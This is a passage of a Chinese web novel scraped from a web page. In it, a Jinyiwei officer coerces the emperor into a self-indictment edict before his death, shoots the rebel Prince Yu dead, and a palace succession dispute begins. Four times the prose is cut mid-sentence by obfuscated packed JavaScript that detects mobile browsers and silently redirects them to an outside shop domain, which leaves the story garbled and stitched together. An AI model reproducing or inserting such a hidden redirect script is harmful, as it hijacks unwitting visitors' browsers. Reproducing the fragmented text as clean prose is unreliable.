l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485601|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 京营、五军都督府说得上话的武臣，凡在京城且腿脚尚能走动的，几乎都被召齐了。 许多人中，她一眼便看见了太子。他正垂眸站在几位皇子稍后的位置，脸色在通明烛火下仍显得有些苍白。两人视线有极短暂的接触，随后又都自然而然地移开，仿若素不相识。 暖阁上首，皇帝端坐着，脸色阴郁，显然是气得不轻。 今夜的议题非常简单：派谁去，把城外那个聒噪的裕王给镇压了。 可这差事，着实有些烫手。 若只说是镇压，这可太容易了。裕王那点东拼西凑的杂牌兵，拢共不到十万，而京城内，单单京营三大营的精锐，就不下二十万之众，更有坚城为恃。便是路边随便抓个三岁小孩掌兵，怕也难输。 真正的麻烦，不在刀兵，而在人心，在悠悠众口。 单看全城那些那些漫天飞舞的纸片就知道了。裕王纵有通天本事，也不可能单凭自己就把这些纸片从城西投到城东。 明眼人都看得出，那纸片质地、字迹五花八门，显是城中有人趁机浑水摸鱼，将积压的怨气，借着这股邪风，都狠狠地撒了出来。 镇压裕王容易，可之后呢？ 如何堵住这骤然撕开的口子，让那些已经听到、看到、甚至已经暗暗认同了罪状的军民重新忠于君父？ 故此，这差事非但要一个能打仗的武将去办，更须一位皇子亲自出面担责。 于是暖阁内寂静无声，落针可闻。大家眼观鼻鼻观心，谁都知道这是个火坑。 皇帝目光缓缓扫过下首众人，最终，钉在了几位成年皇子身上：“尔等……谁愿为朕分忧？” 有些倒霉事，在未被点破之时，仿佛人人有份，可一旦被明明白白地摆上台面，该落在谁头上，便瞬间清晰得刺眼。 几乎所有人的目光，都似有若无、小心翼翼地，瞟向了同一个方向—— 太子。 太子额角渗出细密的冷汗。他嘴唇动了一下，终是低着头，向前挪了半步，噗通一声跪倒在地，行了个端端正正的大礼： “儿臣……愿为父皇分忧。” 他伏在地上的身影，依旧带着那股挥之不去的惊惶与瑟缩，窝囊得让人不忍多瞧。 皇帝点了点头，随即，他眼皮也未抬，随意地朝武官队列中一指：“你，领京营五万兵马，随太子同去。” 被点中的将领连忙出列领命，心中苦闷。 “都散了罢。”皇帝疲惫地挥了挥手。 众人如蒙大赦，行礼告退，脚步比来时迅疾了许多，不一会儿，暖阁便又只剩下了皇帝一人。 燕风随着退潮般的人流出了暖阁，却不急于离开。她借着夜色与廊柱的遮掩，悄然脱离了队伍，独自停在一处不起眼的角落。 宫檐的影子斜斜投下，将她整个人笼罩在黑暗里。 她缓缓仰起头，目光越过重重殿宇的轮廓，投向远处某个灯光与月光都照不到的深邃檐角。 那里只有一片沉沉的墨黑，什么也看不见。 今夜，注定是个不眠夜。 96. 出鞘 暖阁里，皇帝正在练字。 这是他多年的习惯，每逢心潮难平，戾气翻涌时，便以笔墨自疏。仿佛在这全神贯注的勾划里，他便成了一个挥洒自如、光风霁月的坦荡君子。 偏偏此时，门被推开了。 皇帝头也未抬，怒喝道：“滚出去！谁准你进来的！” 脚步声却未停。 那人非但未退，反而一步一步，不疾不徐，踏着沉稳的节奏，径直向书案逼来。 皇帝终于不耐地抬眼。 是燕风，他的女儿。 只是此刻她未戴他亲赐的，用作遮掩身份的面具。宫灯映照下，露出一张与自己十分相像但又柔和许多的脸。 他不自觉声音放软了些：“风儿，还有何事？” 燕风终于停下脚步，离书案仅三步。 她今日嘴角噙着一丝轻慢的笑：“是太子的事。” 皇帝眉头蹙起：“太子的事，过几日再议不迟。你若无他事，便先退下吧。” “有事。” 燕风从袖中拈出一张纸，是今夜飘满京城的那些。她用两指拈着，像展示一件证物。 “请陛下书罪己诏。为宗将军，平反。” 皇帝怔了一瞬，勃然怒喝：“放肆！你疯了？来人——！” 尾音在空旷的暖阁里激起回响，却又很快沉入一片死寂。 四周静得可怕。 皇帝心头猛地一坠，他突然想起了一些关于这个女儿流落民间后的零碎传言。里头模糊勾勒出的可怕影子，与眼前这张淡漠的脸，渐渐重叠。 寒意不受控制地窜上脊背。 但他仍强撑着帝王与父亲的威严，低声威喝：“你想造反吗？” 燕风恍若未闻。她甚至向前又踏了一步，将那张纸片轻轻放在摊开的宣纸上，压住了他未写完的字迹，又重复道： “请陛下书罪己诏，为宗将军平反。” “你！” 皇帝胸口剧烈起伏，试图寻找别的突破口，“是谁指使你？裕王？是他早就收买了你？还是你被他那些鬼话骗了？他说的那些都是假的！是妄图谋逆的借口！朕……” “撒谎！” 一只长满硬茧的手突然攥住他前襟，猛地向下拽去。巨大的力量让他上半身向前倾去，险些撞上书案。他瞪大双眼，看着近在咫尺的女儿。 那张脸上再无半分往日的柔顺。憎恶与痛恨像潮水般在她眼底翻涌，却偏偏凝成一种恐怖的平静。 “你以为把事情做绝了，该杀的人都杀了，便能高枕无忧，神不知鬼不觉了，是么？” 她又逼近一寸：“四年前，西北镇守太监蒋直，被人发现自缢于家中。是你，派李芳贤去灭口的吧？” “但李大人那时候还是太生疏了，也不看看蒋太监办的差事到底了结了没有，就急着去替你擦屁股。” 她冷笑，眼眶却开始发红。 “说起来，我倒要感谢你们的傲慢。若你们对眼里那些工具再稍稍多花些心思。” “便会知道北地那场大火，烧死了‘临阵脱逃’的宗谦和他所有的亲卫，却偏偏，还漏了一个我。” “四年了。” 她齿间磨出嘶哑的气音：“陛下可知，我等这一天，等得有多苦？” 皇帝猛地挣脱了她的钳制，踉跄着扶住书案边缘。他并未退缩，反而挺直了背脊，仍以一种居高临下的姿态俯视她。 “荒唐！” “朕是天子！是这万里江山、亿兆生民的君父！” “你也想为宗家抱屈？可曾想过功高震主，自古便是祸乱之源！朕坐在这个位置上，看得不是一人一姓的冤屈，是这庞大王朝的平衡！古往今来，哪个坐稳江山的帝王手上是干净的？越是成就彪炳、青史留名的雄主，脚下的白骨便越多！” “朕知道，你心里替他们委屈。” 他的语气忽然软下些许，循循善诱，“可这天下，谁人不委屈？朕在坐上这把椅子之前，上有先帝的冷眼漠视，旁有兄弟叔侄的虎视眈眈，朕也是从火坑里滚爬出来的！你委屈他们，便要为他们肝脑涂地，甚至不惜欺君叛国，忤逆君父？” “你年轻，见过的还太少。但朕今日告诉你，你只需记住一件事：朕姓朱，你也姓朱，这便够了！” 燕风安静地听完。烛火在她眼中跳动了一下，她忽然笑了。 “陛下真是雄辩。” 她抬眼：“当年密会边瓦可汗，合谋坑杀宗将军的时候，是否也是靠着这副好口才？” 皇帝的脸色骤然僵住：“你血口喷人！谁有证据——” “陛下以为，天下人都是三岁小儿么？” “若非通敌，为何宗谦将军败逃之日，恰是阳高城破之时？” “若非通敌，为何这三年来，阳高防务空虚至此，北虏却秋毫无犯，直到老可汗暴毙，新主萨尔图才挥师南下？因为盟约还在，可他儿子不认账了，是吗？” “至于证据，” 燕风嘴角那抹讥诮更深，“陛下脸上，不就是最好的证据么？” “阳高城破，数万百姓被屠的消息今晨才到！这都是您的子民啊，可您为何一点也不难过呢？” “我本来不明白，后来才终于理解了。” “您当然不难过。” “阳高的百姓见过您最不堪的模样。这件事，史书不会记，朝臣不敢提，可阳高的百姓都记得，您衣衫不整、跪地求饶的样子！” 皇帝猛地后退，脊背撞上身后的博古架。一只青玉瓶摇晃着坠地，碎裂声刺耳。 她轻笑：“所以城破了，您反而松了一口气，是不是？” “那些让您如鲠在喉的眼睛，终于全闭上了。” 皇帝浑身剧震。 那些他耗费无数心力也要从史册里剜去的日子，竟被她轻易地说出口。 那不是史书上体面的北狩，是深秋刺骨的寒风里，他穿着单薄的中衣，赤着脚，被粗鲁地推搡到城门外。 白日的光将他的狼狈照得无处遁形，周围边瓦将领的嗤笑与交谈，刀锋般刮过耳膜。 而背心处，蛮子的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485602|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弯刀抵在他身后寸步不让！ 耻辱。 杀意在那瞬间淹没了恐惧。身边的，城墙上的，所有看见他丑态的眼睛——都该消失！ 他是天子！是社稷所系！他的命，便是这江山的命！ 人命？数字而已。若百姓的尸体能堆砌成他重返御座的阶梯，莫说千万，便是万万，亦是他们的造化，是蝼蚁之于神明的、应有的供奉。 于是他喊了，做了，毫不犹豫。 那不是哀求，那是审时度势，是龙潜于渊的权宜之计。是能屈能伸，是古来俊杰皆过的必经之途！ “那又如何？人生来便有高低贵贱，尊卑有序！便说是你——” 他抬手指向她，“你若非朕的女儿，身上没有流淌着天家的血，你以为你能在短短一年之内，便坐上锦衣卫指挥同知的位置？你真当是自己天纵奇才，功勋卓著么？你的官威，你的荣华，你的命，都是朕给你的！” “你若今日真在这暖阁里做出悖逆之举，你想过后果么？朕若有事，京城立时大乱！不光是裕王，朕那些好弟弟好侄子，他们顷刻间便会挥师进京，将这皇城变成修罗战场！” “到时候，死的就不止是几个兵士。是萨尔图趁机长驱直入，是九州大地烽烟四起。是这天下苍生，皆要为我陪葬！” 他死死盯住燕风的眼睛，试图捕捉一丝动摇。 “你口口声声为阳高亡魂讨公道。可你若伤朕，引发的浩劫，会让阳高的惨剧在天下每一座城池重演！你若还有一丝良知，为苍生计，此刻回头，我们父女……还能好好谈。” 燕风笑了，笑声里满是嘲讽：“陛下真是……把自己看得太重了。” “这万里江山，离了谁，太阳都照常升起。您以为您是撑天的柱子？可您这根柱子，不是已经折过一次了么？” “那时，天可曾塌了？” “撑住这天地的，是宗将军，是无数前赴后继的将士和百姓。” 她字字诛心：“而陛下您，当时又在哪儿呢？” “您现在同我说天下苍生？你自己不觉得可笑吗？” “风儿——” 皇帝还想再说，声音却噎在喉间。因为他看见燕风的手，缓缓按向了腰间。 “噌” 一声令人牙酸的清鸣，锦衣卫的制式佩刀被抽了出来。刀身窄长，在宫灯下泛着特有的青灰色光泽。 燕风握刀的手很稳。刀尖抬起，轻轻点在了皇帝的喉结下方。 冰冷，刺骨。 “陛下。” 燕风冷冷道：“这把刀，是北镇抚司代代相传的。它杀过贪官污吏，宰过奸细探子，也曾屠过牲畜、斩过豺狼。” 她手腕微微地一动，刀锋向上挑了半寸，贴着对方的颌线滑动。 “今夜这暖阁里，没有侍卫，更没有百官。只有你，和我。” 她的眼睛像两口深井，映不出半点光，“我若还敬您是君父，您便依然是君父。可我若不想认了——” “您说，是您的脖子硬，还是我的刀利？” 97. 燎原 燕风走出暖阁。 夜风扑面而来，激得她微微一颤，才发觉身上出了一层汗。方才那半个时辰，竟像把前半生都碾过了一遍。 她立在阶前，深深吸了口气。初冬寒冽的空气刺入肺腑，也将胸口翻涌的浊气压了下去。 阴影里，罗同与迟三沉默守着。见她出来，目光齐齐投来。 迟三喉结滚动：“成了吗？文的，还是武的？” 燕风点了点头，声音有些沙哑：“文的。该给的体面，给了。”她顿了顿：“后面的事，交给你们。” 接下来的一切便顺理成章。 暖阁外值夜的小太监，不知何时已歪在墙角沉沉睡去。他惊醒时心头一慌，怕误了差事，战战兢兢凑到门边，借着那道狭窄的缝隙向内窥去。 下一息，一声凄厉到变调的尖叫，撕裂了宫廷深夜的宁静。 再然后，便是那沉重、缓慢、仿佛带着铁锈味的钟声，从皇城最深处响起，一圈圈荡开。 国钟响，天子崩。 * 京城西城门。 城外，裕王的人马举着火把，喊声一波波撞在城墙上，吵得城门楼上人心惶惶。 今夜当值的城门指挥姓孙，他的这碗公家饭，是用岳家的银子捐来的，原本图的就是京城西门清贵。 这地方草木多地势也低，历来不是兵家必犯之地。前几次北虏叩关，每次也都是可着城北城东去啃。 谁能料到那天杀的裕王，为了躲开宗恂将军开拔不久的大军，竟七拐八绕，偏偏一头撞到了他这鸟不拉屎的西门外！ 此刻，叛军的号子愈喊愈齐，也愈喊愈猖狂。 孙指挥只觉得脖子后面凉飕飕的，仿佛那砍头的鬼头刀已经悬在了半空。 他搓着手，不断朝城内黑黢黢的街道张望，冷汗把里衣浸透了一层又一层。 就在这时，脚下城墙的石板传来了整齐而沉闷的震动。 孙指挥连滚爬扑到内侧垛口。只见长街尽头，甲光映着月色，汇成一股铁流，正朝城门方向滚滚而来。 转眼间，大军已至城下。火把光芒跃动，照亮了为首一人。 那人并未顶盔贯甲，骑一匹通体雪白的骏马，眉宇间并无武人常见的悍勇之气。 一看就是个贵人。 “太好了，孙指挥，这是太子殿下！” 小声嘀咕的人是小闫，他有个在宫里做过奶娘的亲娘，他说的话，倒是可信。 然而孙指挥一听，本来稍稍舒展了些的眉头又皱了起来。他在京营里当差的小舅子曾向他提过，太子是个不顶事儿的，如今更不受他老子待见。 丧钟便是在这时响起的。 城上城下，所有的嘈杂，都在这一刻，戛然而止。连城外裕王人马原那沸反盈天的吼声，也似被一只手骤然扼住。 天地间，仿佛只剩下那单调、沉重的钟鸣，一下接着一下，每一下都好像拖拽着人的魂魄往下沉。 不知过了多久，它终于还是停了，留下令人屏息的死寂。 “方、方才……” 孙指挥回过神来，猛地抓住身边小闫的胳膊，“敲了几下？你数了没有？敲了几下？” 小闫嘴唇哆嗦着：“好、好像是……二、二十七下？” 孙指挥浑身一颤，要不是手还抓着垛口，他差点瘫倒在地。 二十七！那不就是，那不就是—— 急促的马蹄声突然刺破沉寂。 只见一骑快马，自皇城方向疾驰而来，转瞬间，便已至太子身前。 玄色劲装的骑手猛勒缰绳，骏马扬蹄长嘶，戛然立定。马上人翻身、落地、屈膝、抱拳，一连串动作干脆利落，行云流水。 她抬起头，火光映亮她脸上冰冷的铁制面甲。只听她声音清越激扬，清晰直抵每一个人耳中。 “禀太子殿下。陛下已龙驭上宾！临行御笔亲书罪己诏一轴，历陈边衅之失、忠良之冤、国运之殆，明示天下！国不可一日无君，神器不可须臾悬空！此刻宫城内外、京畿上下，皆屏息以待殿下钧旨！” “伏请殿下顺承天命，入继大统，总揽万机，以镇社稷，定鼎人心！” 语毕，万籁俱寂。 所有的目光，所有人的前程与生死，皆系于那白马素袍的身影之上。 马背上，太子沉声开口：“锦衣卫指挥同知燕风。” 单膝跪地的人影毫无迟疑：“臣在。” “此乃国之危难之际。” 太子的目光扫过黑压压的军阵，最终落回眼前玄衣将领的身上，斩钉截铁道：“本宫擢你为明威将军，实授陇地总兵，节制五万京营精锐。即刻出发，一，平定城外裕王乱军；二，事毕后毋作停留，立即开拔北上，驰援征北将军宗恂，共御北虏！” 燕风深吸一口气，俯首行礼：“臣领命！叩谢殿下隆恩！” 出乎所有人意料，太子竟翻身下马，亲自将她扶起。火光摇曳间，太子压低了声音，只容彼此听闻。 “辛苦了。陇地与北地，便托付于你与宗将军。放心前去，后续粮秣、援兵，本宫必为你筹足，绝无后顾之忧。” 燕风后退一步，再次抱拳，随即转身，面对肃立的京营大军，清叱一声：“明威将军燕风，奉太子令！京营将士，听我号令！” 声浪激荡，军阵随之涌动。 太子不再停留，重新上马，猛地一扯缰绳。 “回宫！” 马蹄雷动，太子带着他的亲随卫队，朝着皇城的方向疾驰回去。 城楼上的孙指挥不敢耽搁，冲下台阶，跑到已被亲兵簇拥的燕风身前，深做一揖。 “末、末将西城门守备指挥孙彬，参见燕将军！将军神威，末将敬佩万分！敢问将军，大军是否即刻出城平叛？末将这便开启城门，助将军扫清逆贼！” 燕风道：“孙指挥，开城门先缓缓。你带我先上城楼看看。”说着她已接过一支火把，径直走向登城道。 城垛上，夜风猎猎，吹得火把呼呼作响。 燕风径直走到外侧垛口，手中的火把将她周身数尺照得通明，在夜色中格外显眼。 孙彬弓着腰小心翼翼凑近：“燕将军，小心啊。这，这城下可有叛军的弓手。” 他心里早已叫苦不迭：莫非这是个不知天高地厚的傻子？大晚上举着火把站在垛口做活箭靶子！这新皇刚封的将军，可别立马就折在自己这倒霉催的西城门！ 这傻子还生怕城下看她不见，高声喊话。 “城外听着！陛下已龙驭宾天，遗诏罪己，天下共鉴！尔等兴无名之师，如今还有何话说？” 城下叛军阵中，出现了一阵明显的骚动，火把光影乱晃。过了约莫十几个呼吸的沉寂，一个声音从叛军深处传来，带着几分刻意的煽动。 “既然昏君已死，正是天命更易之时！我主裕王殿下，贤德英武，方为万民所望！尔等既知大势，何不速开城门，恭迎新皇入京，从龙之功，唾手可得！” 燕风面甲后的眉头微蹙。 不是这个。 她继续高喊：“荒唐至极！国有储君，太子殿下已承天命，入继大统！尔主不过一藩王，无诏擅离封地，私聚甲兵，围攻京畿，此乃十恶不赦之谋逆大罪！此刻不迷途知返，卸甲请罪，竟还敢妄称新皇？” 下边声音再度响起：“太子不过是坐困东宫、仰人鼻息的懦弱之人！何德何能统御天下？我主裕王殿下，文韬武略，更曾得先帝——” “曾得先帝如何？” 燕风毫不客气地打断，语带轻蔑，“若真得先帝青睐，何以如今只是藩王？尔等罔顾法统，无非是为一己野心，涂炭生灵！” 那声音气结，随即强辩，“法统？成王败寇便是最大的法统！如今我军兵临城下，尔等困守孤城，徒增死伤。识时务者为俊杰！” 双方唇枪舌剑，你来我往，不厌其烦数个回合。 终于，叛军阵中后方，爆发出一声不耐的怒喝。 “够了！朱祁炻算什么东西！他本就得位不正！当年先帝最属意的是本王！若不是福瑛——" 就是现在！ 燕风眼中寒光骤闪，右手火把被她朝着声音来处猛然掷出！ 燃烧的烈焰划破黑暗，犹如一颗乍然而至的蓬星，吸引了下方所有目光。光亮骤然前移，反而在它原先所在的城垛位置留下了一片盲区。 就在这明暗交替的刹那盲点里，燕风早已旋身、张弓、放弦。 弓如满月，弦震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485603|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低鸣。 咻！ 三支羽箭几乎同时离弦，挟着刺耳的尖啸，后发先至，竟超越了那尚在空中飞掠的火把。 箭簇撕裂空气，精准地射入方才声音源头那片甲胄丛中。 火把这才坠地，“呼”地一声，点燃了那片区域用作遮掩的草束。 火焰腾起，骤然照亮了核心处的景象。 众目睽睽下，裕王朱祁煴身着明光甲，被亲兵簇拥，此刻却骇然低头，看着自己胸前深深没入的三支箭羽。 他脸上的狂怒尚未褪尽，便已凝固成巨大的惊愕与茫然，仿佛无法理解这致命打击到底从何而来。 他踉跄半步，手指徒劳地想抓住什么，却还是如遭斧斫的巨木般，向后重重仰倒。 “主上——！” 惊呼在人群中炸开。 裕王躺在冰冷的土地上，望着头顶那片深邃的黑暗，瞳孔开始扩散。 他嘴唇嗫嚅着，吐出最后的低语。 “我输了，但朱祁炻……你也没赢……” 一切皆发生在转瞬之间。莫说城下叛军，便是城墙上站在燕风数丈开外的守军，也都惊得呆住了。 “开城门。” “啊？”孙彬猛地一激灵，魂魄仿佛刚刚归位，一时竟没听懂这简单的三个字。 “开城门。” 燕风又说了一遍。她已收好弓箭，转身看向孙彬。 “哦！开——城——门——！”孙彬这才彻底醒过神，几乎是扯着嗓子朝属下们嘶喊。 沉重的绞盘开始转动，铁链哗啦作响，包铁的巨大门扇在嘎吱声中，缓缓向内敞开。五万京营精锐，枪戟如林，在城门甬道两侧延伸出去的宽阔街面上沉默列阵。 火光映在无数冰冷的铁叶上，汇成一片令人胆寒的粼粼。 城下裕王残部本就如惊弓之鸟，此刻主君暴毙，城门洞开，面对的又是如此严整骇人的军队，那勉强维持的阵型瞬间土崩瓦解。 不知谁发了一声喊，人群轰然炸开，丢盔弃甲，向着来时的黑暗四散奔逃，只留下满地狼藉和几声绝望的哀嚎。 孙彬扶着垛口，望着外头溃散的乌合之众和己方的大军，一股久违的热流猛地冲上头顶，撞得他耳膜嗡嗡作响。 他也曾年少气盛，凭着一身不错的根骨，怀揣着建功立业的梦想，从家乡小镇通过层层严苛选拔来到京城。 他甚至有幸，在数年前那场惨烈的京城保卫战中，作为最微末的小卒，跟随宗谦将军死守过一段城墙，见过血与泪的真章。 可帝都的水太深，关系盘根错节，没有背景的他，纵有几分勇力，也只能在底层打熬。 热情与棱角被一点点磨平，最后，他把自己卖给了有门路的岳家，靠妻子的嫁妆和岳父的打点，捐来了西城门守备这份看似清贵、实则闲废的差事。 几年安逸，他肚腩隆起，眼神浑浊，早已不是当年那个锐意进取的少年。 可就在此刻，城下大捷，他看着身旁这位，以近乎神话般的手段瞬杀敌首的将军。那股早已冷去的热血，突然重新烧了起来，烫得他手心冒汗，心脏砰砰。 他喉头滚动了几下。 他决意要说些什么。 “燕将军。可是要率军出城了？属下，属下愿为将军牵马坠镫！” 燕风侧头看了他一眼：“不必了。你的职责是守好西门，不可有失。”她不再多言，将两根手指抵在唇边，鼓气一吹。 一声嘹亮悠长的唿哨破空而起。 哨声方落，不远的某处，隐约传来一声嘶鸣相和。 蹄声嘚嘚，一匹暗色的矫健身影自黑暗中奔出，正是方才随她一道而至的老马。 燕风单手撑在垛口的石砖，整个人便自数丈高的城墙之巅跃下。 夜风吹起她玄色的衣摆，在无数道震惊的目光注视下，她宛如天神降临，精准而轻盈地落在鞍上，竟未发出多少声响。 “驾！” 她清叱一声，缰绳轻抖。 黑马人立而起，长嘶一声，随即撒开四蹄向北疾驰。 身后，沉默的钢铁洪流亦随之启动，步伐由缓至疾，甲胄铿锵，追随着前方那一骑绝尘的玄色身影，迅速融入北方的茫茫夜色之中。 98. 悬柄 皇城最高的塔楼。 迟三和罗同并肩立于檐顶，俯视着脚下那片金瓦朱墙的庞大宫城。 因皇帝骤然宾天，往日肃穆的宫殿间，灯笼的光点游移，可见无数细小的人影穿梭于廊庑宫道。 迟三看了一会儿，视线便移开，落在了罗同的侧脸上。 那张脸他看了多年，今日却觉得有些不同。 罗同转过头：“你看什么？” “我在想，今日是不是能见到你的真容了。我从前怎么没想到呢，你娘当年风华绝代，而你又精擅易容之道。这张寻常的脸，反倒最不寻常。” 罗同没有否认，却道：“一副皮相，值得这般在意么？有的人生了张颠倒众生的脸，心却毒。也有人，相貌平平，却活得顶天立地，让人忍不住把一辈子都押上去。” 迟三低笑一声：“你这话意有所指，前头那个，想必是你那位公主姐姐了，后面那个呢？” 罗同不说话了。 不知过了多久，城西方向骤然响起马蹄声，一列火把的光焰在奔驰中连成跃动的金线，正朝宫门疾驰而来。 是太子回来了。 塔楼之上，罗同与迟三对视一眼，身形向后撤去，几个起落便隐入下方层叠的殿宇阴影中。他们此刻仍滞留宫禁，乃是因为先前应了燕风所求：护持太子，直至新帝顺利践祚。 只是此时现身，该如何向太子及周遭虎视眈眈的无数眼睛解释身份与来意？ 罗同有些发愁，身侧的迟三却忽然袖角一拂。一片稀薄的白色雾气自他袖间漫出，须臾间漫溢开来，若有似无，将他们周遭数尺之地悄然笼住。 雾外，一切皆清晰可见，如常运转。然而雾内，两人身形却已化入朦胧，再无一道目光能穿透这层无形的障蔽。 “谢就不必了。”迟三笑道，“待会儿若动起手来，你多出几分力便行了。” 两人便在这结界的遮蔽下，跟随太子穿行于宫苑之间，最终来到了目的地。 太和殿，先帝遗体存放之处。 尚未踏入殿门，声浪已如潮水般涌来。哭声高低起伏，皇子们跪了满地，更有年幼的茫然四顾，跟着兄长发出一两声含糊呜咽。 后妃们的悲声则更为尖利，头上珠钗斜坠，泪冲花了颊上的脂粉。前朝赶来跪哀的重臣们亦匍匐在地，肩背颤抖，然目光却不时与同僚悄然交错。 可在这片震耳的悲声之下，另一种东西正在悄然蒸腾。 那是权力骤然抽离后留下的躁动。 中宫后位空悬多年，从前地位最为煊赫的周贵妃，自三皇子薨后便如失了根的藤蔓。此刻她跪在众宫妃之中，面色灰败，昔日凌驾六宫的跋扈气焰早已散得无影无踪。 如今上首主位端坐的，是即将晋位太皇太后的当今太后。 太后面上不见悲色，唯有平静。这平静在满殿哀声里显得格格不入，让人心底不免掠过一丝寒凉的慨叹：终究不是亲生母子，连场面上的哀容，也懒得敷衍。 待殿中哭声渐弱，太后视线扫过下方乌压压的人头。 “皇帝走得急，可江山社稷等不得。国不可一日无君，诸卿都是朝廷栋梁，于这嗣统大事，可有建言？” 无人应答，殿内陷入一片微妙的沉寂。 跪在前列的几位内阁元老与勋贵重臣，只将视线若有似无地飘向刚入殿、正与皇子们跪在一处的太子。 而太子垂首，沾满一路风尘的袍角委地，与平日并无什么不同。 就在这片静默里，跪在妃嫔队列后侧的七公主忽然抬起了头。 “皇祖母是伤心糊涂了么？” 少女清凌凌的声音响起：“我朝明明立有太子，名分早定，为何还要‘议’？” 跪在她身旁的周贵妃猛地转过头，眼中骤然迸出怨毒至极的光。她藏在宽大袖摆下的手，狠狠掐进亲生女儿大腿。 七公主浑身一颤，可看也不看母亲一眼，仍旧倔强地昂着头。 上首的太后端坐着，像一尊失了灵的木雕，对少女那石破天惊的一问置若罔闻。 福瑛长公主便是在这时，缓缓站了起来。 “母后，儿臣这里，有皇兄交托的一道密旨。” 一语既出，满殿皆惊。 “皇兄当日叮嘱，此旨关乎国本，非到万不得已之时，不得轻易开启。儿臣彼时愚钝，未能了解圣意。如今想来，皇兄所指的时刻，恐怕便是此刻了。” 话虽委婉，意却昭然。 七公主听得胸中气血翻涌，可腿上传来的疼痛，让她一个字也再吐不出来。 她是可以不管不顾赌一把，但身旁摇摇欲坠的母亲，恐怕再也经不起任何风浪了。 雾气之中，迟三轻轻“啧”了一声：“看来今日这一架，是躲不开了。” 罗同目光紧紧锁在福瑛长公主身上，喉间溢出三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485604|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字：“再等等。” 上首，太后的听力，此刻仿佛又蓦然恢复了。她掀了掀松弛的眼皮：“瑛儿，这道圣旨，除你之外，可还有旁人能为凭证？” “有的。”福瑛长公主答得从容，“皇兄将密旨交予儿臣时，锦衣卫指挥使李芳贤李大人，亦在场亲见。” 所有人的目光，瞬间投向同一处。 李芳贤正跪在那里。 这位天子近卫首领，大概是这满殿人中为数不多，真正为君主之死而肝肠寸断的臣子。 此刻被骤然点名，他肩背微微一震，抬起泪迹斑驳的脸，喉头哽咽滚动，才艰难开口。 “回太后……长公主所言……属实。” 他话音落下，殿内响起一片极力压抑的吸气声。 谁都知道李芳贤是先帝头一号的心腹，他说是，那便无人好说不是了。 太后缓缓点了点头：“既然如此。瑛儿，你便拿出来，给诸卿一并看看吧。” 福瑛长公主躬身应是，双手将一卷明黄帛书高举过额。 一名身眉眼低顺的大监碎步上前，恭敬接过，缓步退至殿中灯火最明处。他深深吸了一口气，展开卷轴，尖细的嗓音在寂静中响起： “朕承天命，御极有年……” 薄雾里，迟三带着玩味的低语，与那庄重的宣读声形成诡异的重叠：“我倒是听过一桩顶有趣的秘闻，说你那位好姐姐福，同咱们刚宾天的陛下……啧，可不止是兄妹情深。私下里，连龙种都结下了。好像就是最小的那位十九皇子，都说眉眼像极了长公主。可惜啊，同姓同族，终究是□□逆种，上不得台面。所以这么多年，也只能藏着掖着，当个没名没分的普通皇子养着。” 殿中央，大太监的声音平稳地流淌：“……夙夜忧勤，唯恐付托不效……” 迟三继续道：“长公主今日这一出，细想也在情理之中。天底下做母亲的，但凡有点指望，谁不想把最好的、留给自己的亲骨肉呢？就是不知道这密旨到底是真是假……” 殿中太监的宣读恰好到了最关键处，声调略略扬起，清晰地凿进每个人耳朵里。 “……皇太子朱见垠，仁孝天植，睿智夙成，宜承大统。内外文武臣僚，当同心辅佐，共保宗社。长妹福瑛，性淑品端，堪为臂助，可多与参详，以固国本……” 最后一个字音落下，寂静重新合拢。但所有人心中，已是惊涛骇浪。 99. 清算 福瑛长公主踏出太和殿，一步踩下，眼前的世界便骤然变了色。 一片粘稠的雾气毫无征兆地吞没了廊柱、宫灯乃至脚下汉白玉的石阶。万籁俱寂，只剩下她自己轻缓的呼吸声。 她没有惊慌，端丽无瑕的脸上只有平静。 “单先生。”她冷冷开口。 前方的雾气扰动了一下，迟三的身影从中显现。 他举起双手，做了个讨饶的动作：“长公主殿下千万别这么叫。折寿。”他侧身让出视线，“不是我的事。是您弟弟。” 从他身后，另一道身影缓缓自雾中走出。 当那人的面容完全映入眼帘时，福瑛还是稍稍恍了恍神。 迟三回头看了一眼，忍不住啧了一声：“难怪你从来都不露真容。宗恂那小子，生得同你还真像。” 罗同不置一词，只盯着福瑛。 他冷声道：“你的一切，就到此为止吧。” 这话一出，在场两个人都愣了。 